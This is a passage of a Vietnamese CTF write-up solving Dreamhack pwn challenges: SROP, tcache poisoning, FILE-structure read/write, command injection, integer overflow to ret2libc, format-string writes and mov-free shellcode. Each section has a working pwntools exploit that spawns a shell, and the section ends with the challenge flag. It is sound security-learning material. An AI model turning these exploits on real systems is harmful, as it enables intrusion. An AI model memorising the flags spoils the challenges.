pop_rax = 0x00000000004010ae frame = SigreturnFrame(arch='amd64') frame.rax = 0x3b frame.rdi = binsh frame.rsi = 0x0 frame.rdx = 0x0 frame.rip = syscall payload = b'a'*0x10 payload += p64(pop_rax) + p64(0Xf) payload += p64(syscall) payload += bytes(frame) p.sendafter(b'Signal:',payload) p.interactive() #DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760} ``` >DH{5a5e56589d32087ec7a37f3b70a84483eae7404e9072173ec7571b632b804760} --- ## Tcache Poisoning - basic file check ![image](https://hackmd.io/_uploads/HyU3Lorr6.png) - source: ```c // Name: tcache_poison.c // Compile: gcc -o tcache_poison tcache_poison.c -no-pie -Wl,-z,relro,-z,now #include <stdio.h> #include <stdlib.h> #include <unistd.h> int main() { void *chunk = NULL; unsigned int size; int idx; setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); while (1) { printf("1. Allocate\n"); printf("2. Free\n"); printf("3. Print\n"); printf("4. Edit\n"); scanf("%d", &idx); switch (idx) { case 1: printf("Size: "); scanf("%d", &size); chunk = malloc(size); printf("Content: "); read(0, chunk, size - 1); break; case 2: free(chunk); break; case 3: printf("Content: %s", chunk); break; case 4: printf("Edit chunk: "); read(0, chunk, size - 1); break; default: break; } } return 0; } ``` - case1: tạo chunk tuỳ ý - case2: free - case3: in content - case4: edit content - challenge có libc đi kèm phiên bản 2.27 ---> có security check ở `bk_pointer` chống DBF - nhưng ta bypass bằng cách modify NULL - leak libc thì ghi `stdout` rồi in content ra ![image](https://hackmd.io/_uploads/Sk8ydsrB6.png) >ow 1 byte '\x60' để không thay đổi _IO_2_1_stdout > file đã được patched (pwninit) - có libc -> ``__free_hook`` -> **one_gadget** ![image](https://hackmd.io/_uploads/HyiTPorHp.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./tcache_poison_patched',checksec=False) libc = ELF('./libc-2.27.so',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',20578) def add(size,data): p.sendlineafter(b'Edit\n',b'1') p.sendlineafter(b'Size: ',str(size)) p.sendafter(b'Content: ',data) def delete(): p.sendlineafter(b'Edit\n',b'2') def show(): p.sendlineafter(b'Edit\n',b'3') def edit(data): p.sendlineafter(b'Edit\n',b'4') p.sendafter(b'Edit chunk: ',data) add(0x20,b'aaaa') delete() edit(b'\0'*0x10) #modify bk_pointer delete() #trigger DBF add(0x20,p64(exe.sym['stdout'])) add(0x20,b'aaaa') add(0x20,b'\x60') show() p.recvuntil(b'Content: ') libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym['_IO_2_1_stdout_'] log.info('libc leak: ' + hex(libc_leak)) log.info('libc base: ' + hex(libc.address)) gadget = [0x4f3d5,0x4f432,0x10a41c] add(0x30,b'aaaa') delete() edit(b'\0'*0x10) #modify bk_pointer delete() #trigger DBF add(0x30,p64(libc.sym['__free_hook'])) add(0x30,b'aaaa') add(0x30,p64(libc.address + gadget[1])) delete() #get_shell p.interactive() #DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc} ``` >DH{f9e02bd556d6643f11d9a83570ef5192795cf91c6b443cd603e9f83787ab02fc} --- ## bof - bài này ez quá nên k wu nha, tự coi ida rồi exploit ![image](https://hackmd.io/_uploads/SylU9ptq6.png) >DH{5cd1f793ae6a081e4bfd28f6d570d83355148245fbe7c1f69b12771202b80a13} --- ## _IO_FILE Arbitrary Address Read - basic file check ![image](https://hackmd.io/_uploads/rJQ9Cv7pp.png) - source ```c // Name: iofile_aar // gcc -o iofile_aar iofile_aar.c -no-pie #include <stdio.h> #include <unistd.h> #include <string.h> char flag_buf[1024]; FILE *fp; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int read_flag() { FILE *fp; fp = fopen("/home/iofile_aar/flag", "r"); fread(flag_buf, sizeof(char), sizeof(flag_buf), fp); fclose(fp); } int main() { const char *data = "TEST FILE!"; init(); read_flag(); fp = fopen("/tmp/testfile", "w"); printf("Data: "); read(0, fp, 300); fwrite(data, sizeof(char), sizeof(flag_buf), fp); fclose(fp); } ``` - cho quyền input vào **fp** ---> FSOP thôi - mà FSOP không cần leak libc, do đã lưu flag vào 1 địa chỉ tĩnh, nên trỏ ptr đến flag rồi in ![image](https://hackmd.io/_uploads/S10l1d7aa.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./iofile_aar',checksec=False) p = remote('host3.dreamhack.games',22642) flag = exe.sym['flag_buf'] fs = FileStructure() fs.flags = 0xfbad1800 fs._IO_write_base = flag fs._IO_write_ptr = flag+100 #length=100 fs.fileno = 0x1 p.sendlineafter(b'Data: ',bytes(fs)[:0x78]) p.interactive() #DH{395880f6942dff77f2a9ee1e47546825a0f0a4865b706aa6ca44bdcd4f5c7eac} ``` >DH{395880f6942dff77f2a9ee1e47546825a0f0a4865b706aa6ca44bdcd4f5c7eac} --- ## _IO_FILE Arbitrary Address Write - basic file check ![image](https://hackmd.io/_uploads/Sy__fdmTa.png) - source: ```c // Name: iofile_aaw // gcc -o iofile_aaw iofile_aaw.c -no-pie #include <stdio.h> #include <unistd.h> #include <string.h> char flag_buf[1024]; int overwrite_me; void init() { setvbuf(stdin, 0, 2, 0); setvbuf(stdout, 0, 2, 0); } int read_flag() { FILE *fp; fp = fopen("/home/iofile_aaw/flag", "r"); fread(flag_buf, sizeof(char), sizeof(flag_buf), fp); write(1, flag_buf, sizeof(flag_buf)); fclose(fp); } int main() { FILE *fp; char file_buf[1024]; init(); fp = fopen("/etc/issue", "r"); printf("Data: "); read(0, fp, 300); fread(file_buf, 1, sizeof(file_buf)-1, fp); printf("%s", file_buf); if( overwrite_me == 0xDEADBEEF) read_flag(); fclose(fp); } ``` - khác với FSOP để leak, lần này FSOP để write - target write thì có thể coi lại blog nhé ![image](https://hackmd.io/_uploads/Hy3qMOXa6.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./iofile_aaw',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',14868) ow_me = exe.sym['overwrite_me'] fs = FileStructure() fs.flags = 0xfbad2488 fs._IO_buf_base = ow_me fs._IO_buf_end = ow_me+1024 fs.fileno = 0x0 p.sendlineafter(b'Data: ',bytes(fs)[:0x78]) p.sendline(p64(0xDEADBEEF) + b"A"*1024) p.interactive() #DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c} ``` >DH{1d60f1036d33746327c204ddb96e2dc7c79a0fcfbc7206e0716abcbb4a326c3c} --- ## Cat Jump - basic file check ![image](https://hackmd.io/_uploads/BJlpy0kVa6.png) - source ```c /* cat_jump.c * gcc -Wall -no-pie -fno-stack-protector cat_jump.c -o cat_jump */ #include <stdio.h> #include <stdlib.h> #include <time.h> #include <unistd.h> #define CAT_JUMP_GOAL 37 #define CATNIP_PROBABILITY 0.1 #define CATNIP_INVINCIBLE_TIMES 3 #define OBSTACLE_PROBABILITY 0.5 #define OBSTACLE_LEFT 0 #define OBSTACLE_RIGHT 1 void Init() { setvbuf(stdin, 0, _IONBF, 0); setvbuf(stdout, 0, _IONBF, 0); setvbuf(stderr, 0, _IONBF, 0); } void PrintBanner() { puts(" .-.\n" \ " \\ \\\n" \ " \\ \\\n" \ " | |\n" \ " | |\n" \ " /\\---/\\ _,---._ | |\n" \ " /^ ^ \\,' `. ;\n" \ " ( O O ) ;\n" \ " `.=o=__,' \\\n" \ " / _,--.__ \\\n" \ " / _ ) ,' `-. `-. \\\n" \ " / ,' / ,' \\ \\ \\ \\\n" \ " / / / ,' (,_)(,_)\n" \ " (,; (,,) jrei\n"); } char cmd_fmt[] = "echo \"%s\" > /tmp/cat_db"; void StartGame() { char cat_name[32]; char catnip; char cmd[64]; char input; char obstacle; double p; unsigned char jump_cnt; srand(time(NULL)); catnip = 0; jump_cnt = 0; puts("let the cat reach the roof! 🐈"); sleep(1); do { // set obstacle with a specific probability. obstacle = rand() % 2; // get input. do { printf("left jump='h', right jump='j': "); scanf("%c%*c", &input); } while (input != 'h' && input != 'l'); // jump. if (catnip) { catnip--; jump_cnt++; puts("the cat powered up and is invincible! nothing cannot stop! 🐈"); } else if ((input == 'h' && obstacle != OBSTACLE_LEFT) || (input == 'l' && obstacle != OBSTACLE_RIGHT)) { jump_cnt++; puts("the cat jumped successfully! 🐱"); } else { puts("the cat got stuck by obstacle! 😿 🪨 "); return; } // eat some catnip with a specific probability. p = (double)rand() / RAND_MAX; if (p < CATNIP_PROBABILITY) { puts("the cat found and ate some catnip! 😽"); catnip = CATNIP_INVINCIBLE_TIMES; } } while (jump_cnt < CAT_JUMP_GOAL); puts("your cat has reached the roof!\n"); printf("let people know your cat's name 😼: "); scanf("%31s", cat_name); snprintf(cmd, sizeof(cmd), cmd_fmt, cat_name); system(cmd); printf("goodjob! "); system("cat /tmp/cat_db"); } int main(void) { Init(); PrintBanner(); StartGame(); return 0; } ``` - đầu tiên thì thoả mãn mấy cái **rand()** bằng cách sử dụng **srand(time(0))** - tiếp theo sẽ là bug cmd injection, khá tương tự với sqli nên program sẽ thực thi cái này ``system("echo "hlaan";/bin/sh; > /tmp/cat_db")`` ![image](https://hackmd.io/_uploads/BJY6Tk46T.png) - script: ```python #!/usr/bin/python3 from pwn import * from ctypes import * import time context.binary = exe = ELF('./cat_jump_patched',checksec=False) libc = cdll.LoadLibrary('libc.so.6') # p = process(exe.path) p = remote('host3.dreamhack.games',8207) libc.srand(libc.time(0)) p.recvuntil(b"let the cat reach the roof! ") sleep(1) for i in range(37): a = libc.rand() % 2 if a == 1: p.sendlineafter(b': ',b'h') else: p.sendlineafter(b': ',b'l') libc.rand() p.sendlineafter(b":", b'hlaan";/bin/sh;') p.interactive() #DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48} ``` >DH{da65478323e88390957aee8177eb3cf6e60a2a6b486a76d46fc4d94ec785bb48} --- ## Dream's Notepad - basic file check ![image](https://hackmd.io/_uploads/SJotLlNT6.png) - source ```c //gcc -o Notepad Notepad.c -fno-stack-protector #include <stdio.h> #include <unistd.h> #include <stdlib.h> #include <string.h> void Initalize(){ setvbuf(stdin, (char *)NULL, _IONBF, 0); setvbuf(stdout, (char *)NULL, _IONBF, 0); setvbuf(stderr, (char *)NULL, _IONBF, 0); } void main() { Initalize(); puts("Welcome to Dream's Notepad!\n"); char title[10] = {0,}; char content[64] = {0,}; puts("-----Enter the content-----"); read(0, content, sizeof(content) - 1); for (int i = 0; content[i] != 0; i++) { if (content[i] == '\n') { content[i] = 0; break; } } if(strstr(content, ".") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "/") != NULL) { puts("It can't be.."); return; } else if(strstr(content, ";") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "*") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "cat") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "echo") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "flag") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "sh") != NULL) { puts("It can't be.."); return; } else if(strstr(content, "bin") != NULL) { puts("It can't be.."); return; } char tmp[128] = {0,}; sprintf(tmp, "echo %s > /home/Dnote/note", content); system(tmp); FILE* p = fopen("/home/Dnote/note", "r"); unsigned int size = 0; if (p > 0) { fseek(p, 0, SEEK_END); size = ftell(p) + 1; fclose(p); remove("/home/Dnote/note"); } char message[256]; puts("\n-----Leave a message-----"); read(0, message, size - 1); puts("\nBye Bye!!:-)"); } ``` - nhìn sơ sẽ tưởng bug cmd injection, nhưng nó lại bị filter bởi blackwords - chú ý ở phần này ```c FILE* p = fopen("/home/Dnote/note", "r"); unsigned int size = 0; //defind var if (p > 0) { fseek(p, 0, SEEK_END); size = ftell(p) + 1; fclose(p); remove("/home/Dnote/note"); } char message[256]; puts("\n-----Leave a message-----"); read(0, message, size - 1); //right hear ``` - nếu mở file thành công, ``size = ftell(p) +1`` , nếu không ``size = 0`` - và bên dưới ``read(0,message, size - 1)`` , có bug IOF ở đây nếu ``size = 0`` ==> mở file fail - để mở file fail ta cần lệnh ``system("echo %s > /home/Dnote/note")`` fail > BYPASS bằng dấu ' - bug IOF xảy ra ---> BOF xảy ra ---> ret2libc ![image](https://hackmd.io/_uploads/SJ5DIeNpT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./Notepad',checksec=False) libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so',checksec=False) # p = process(exe.path) p = remote("host3.dreamhack.games",22473) pop_rdi = 0x0000000000400c73 p.sendafter(b'content',b"'") payload = b'a'*488 payload += p64(pop_rdi) + p64(exe.got['puts']) payload += p64(exe.plt['puts']) payload += p64(exe.sym['main']) p.sendafter(b'message',payload) p.recvuntil(b"Bye Bye!!:-)\n") libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym['puts'] log.info("libc leak: " + hex(libc_leak)) log.info("libc base: " + hex(libc.address)) p.sendafter(b'content',b"'") payload = b'a'*488 payload += p64(pop_rdi) + p64(next(libc.search(b'/bin/sh\0'))) payload += p64(pop_rdi+1) #ret payload += p64(libc.sym['system']) p.sendafter(b'message',payload) p.interactive() #DH{Actu@11y..I_1ike_dr2@m_gir1..;)} ``` >``DH{Actu@11y..I_1ike_dr2@m_gir1..;)}`` --- ## Kind kid list - basic file check ![image](https://hackmd.io/_uploads/B1eq_bVpp.png) - check ida ![image](https://hackmd.io/_uploads/SyPnOZ46p.png) ![image](https://hackmd.io/_uploads/Byj6_W4TT.png) ![image](https://hackmd.io/_uploads/r1jvFb4T6.png) - chương trình muốn in ra flag phải thoả 2 điều kiện: - wyv3rn phải nằm trong "kind kid list" - wyv3rn không nằm trong "naughty kid list" > nói hoa mỹ là nằm trong list trẻ ngoan không nằm trong list trẻ hư - đầu tiên là thêm wyv3rn vào list_kid - để thêm ta phải nhập password để thêm - leak bằng %s do password được generate và lưu trong heap - tiếp theo là xoá wyv3rn khỏi "naughty kid list" - có bước so sánh ở gần cuối lúc sắp in flag, các biến so sánh đều nằm trên stack ---> leak stack rồi trỏ ``&dest[i]`` vị trí $rsp+0x20 - modify thành NULL bằng %ln (8 byte) ![image](https://hackmd.io/_uploads/B1NWObVpT.png) - script: ```python #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./kind_kid_list',checksec=False) # p = process(exe.path) p = remote("host3.dreamhack.games",16917) # gdb.attach(p,gdbscript=''' # b*main+547 # b*main+740 # c # ''') # input() def add(password,name=None): p.sendlineafter(b">> ", b'2') p.sendlineafter(b"Password :",password) if name != None: p.sendlineafter(b'Name :',name) add(b"%31$s") #bypass password = p.recvuntil(b' is',drop=True) log.info("password : " + str(password)) add(password,b'wyv3rn') add(b'%42$p') stack_leak = int(p.recvuntil(b' is',drop=True),16) - 0x1d8 log.info("dest: " + hex(stack_leak)) add(password,p64(stack_leak)) add(b'%8$ln') p.sendlineafter(b">> ", b'3') p.interactive() #DH{ha99y_m3rry_cr1s7mas_w17h_wyv3rn} ``` >DH{ha99y_m3rry_cr1s7mas_w17h_wyv3rn} --- ## No mov - basic file check ![image](https://hackmd.io/_uploads/H18C6irlA.png) - source ```c #include <fcntl.h> #include <stdio.h> #include <stdint.h> #include <string.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/stat.h> #include <sys/types.h> #include <unistd.h> void initialize() { setvbuf(stdout, 0, _IONBF, 0); setvbuf(stdin, 0, _IOLBF, 0); setvbuf(stderr, 0, _IOLBF, 0); } int verify(uint8_t *sh, int len) { const uint8_t banned[] = { 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8E, // MOV 0xA0, 0xA1, 0xA2, 0xA3, // MOV 0xA4, 0xA5, // MOVS 0xB0, 0xB1, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6, 0xB7, // MOV 0xB8, 0xB9, 0xBA, 0xBB, 0xBC, 0xBD, 0xBE, 0xBF, // MOV 0xC6, 0xC7 // MOV }; for (int i = 0; i < len; i++) for (int j = 0; j < sizeof(banned); j++) if (sh[i] == banned[j]) return 0; return 1; } uint8_t *get_mmaped_page() { int urandom_fd = open("/dev/urandom", O_RDONLY); uint64_t addr; if (read(urandom_fd, &addr, sizeof(uint64_t)) != sizeof(uint64_t)) { puts("Failed to read /dev/urandom"); return 0; } addr &= 0xffffffff000ul; close(urandom_fd); uint8_t *page = mmap((void *)addr, 0x1000, 7, MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); if (page == MAP_FAILED || page != (uint8_t *) addr) { puts("Failed to mmap"); return 0; } return page; } int main() { initialize(); uint8_t *sh = get_mmaped_page(); uint8_t *stack = get_mmaped_page(); if (!sh || !stack) { puts("Failed mmap"); return 1; } memset(sh, 0x90, 0x1000); memset(stack, 0, 0x1000); printf("Give me your shellcode > "); int len = read(0, sh, 0x800); if (verify(sh, len)) { // Setup return address *((uint64_t *)(stack + 0x7f8)) = (uint64_t)sh; // Initialize registers... asm("xor %rbx, %rbx"); asm("xor %rcx, %rcx"); asm("xor %rdx, %rdx"); asm("xor %rdi, %rdi"); asm("xor %rsi, %rsi"); asm("xor %r8, %r8"); asm("xor %r9, %r9"); asm("xor %r10, %r10"); asm("xor %r11, %r11"); asm("xor %r12, %r12"); asm("xor %r13, %r13"); asm("xor %r14, %r14"); asm("xor %r15, %r15"); // Setup new stack frame asm("mov %0, %%rsp" :: "r"(stack + 0x7f8)); asm("mov %0, %%rbp" :: "r"(stack + 0x800)); asm("xor %rax, %rax"); // Jump to shellcode asm("ret"); } else { puts("No."); } return 0; } ``` - là bài shellcode nhưng filter lệnh `mov` - sao mà cản bước được ma gamming - dùng lệnh `lea` thôi ( và cả lệnh `add` ) ![image](https://hackmd.io/_uploads/H1tFasBl0.png) - script: ```py #!/usr/bin/python3 from pwn import * context.binary = exe = ELF('./main',checksec=False) # p = process(exe.path) p = remote('host3.dreamhack.games',21391) # gdb.attach(p,gdbscript=''' # b*main+170 # b*main+285 # c # ''') # input() shellcode = asm(''' push rax add rbx, 0x6e69622f push rbx xor rbx, rbx add rbx, 0x68732f add rsp, 4 add rsp, 8 push rbx lea rdi, [rsp-0x4] add rax, 0x3b syscall ''',arch='amd64') p.sendafter(b' > ',shellcode) p.interactive() #DH{1809e85d58743e0c0758ae0795cd0c7092d7adf49d7cbe3d836b1a6a0676fee6} ``` >DH{1809e85d58743e0c0758ae0795cd0c7092d7adf49d7cbe3d836b1a6a0676fee6} ---